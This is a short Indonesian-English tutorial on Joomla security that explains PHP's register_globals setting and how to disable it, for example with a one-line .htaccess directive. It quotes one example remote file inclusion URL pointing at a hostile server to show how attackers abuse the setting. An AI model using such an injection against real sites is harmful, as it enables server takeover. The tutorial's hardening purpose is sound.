|
Written by Tutorial Joomla
|
Joomla, register_global=OFF Siapa Takut
Notifikasi berhubungan dengan security, misal register_global=ON dimana yg di recommend adalah OFF.
Bagaimana cara safe mode agar menjadi off defaultnya on?
Register Globals What does it do?
The function register_globals helps lazy developers with coding their programs. It basically takes all values, that are passed over to the script and puts them into variables.
Masih ingat motif yang digunakan "Script kiddies"...?
index.php?mos_config_livesite=http://script_jahatmu.gif
Now the index.php will try to include their files and loads a file from a hostile server. With this script, the hacker has gained entry to your server.
The function itself is not bad. If you check each variable before using its content, you are practically safe and this feature is helping you (as a developer). The problem is, that a lot of developers deliver sloppy work and don't check all their variables. In Joomla! its even simpler. For developers there is a function called mosGetParam(), that does (allmost) all the checking for you and its so easy to use. If all developers would use this function and not rely on register_globals, we would have very little security problems.
Selanjutnya adalah
How can I turn register_globals off?
register_globals = Off
Permasalahannya adalah
Apache/PHP configuration files outside of your website's folder
berarti kita tidak bisa menempuh cara ini
.htaccess file
On most servers, you can configure the Apache with files with the name .htaccess. These files can not be read from the web! Often you can't just copy such a file on your webspace, but you can rename a file to .htaccess. To create this file, just open a text-editor like Notepad or on Linux vi (NOT Word!!) and insert the line
code :
php_flag register_globals off
If you safe this now in the root folder of Joomla!, register_globals is now turned off for your whole site and all sub-folders.
Buat teman2x yang masih bingung soal register_global, yang paling gampang menurut saya menambahkan script ini kedalam file .htaccess. |
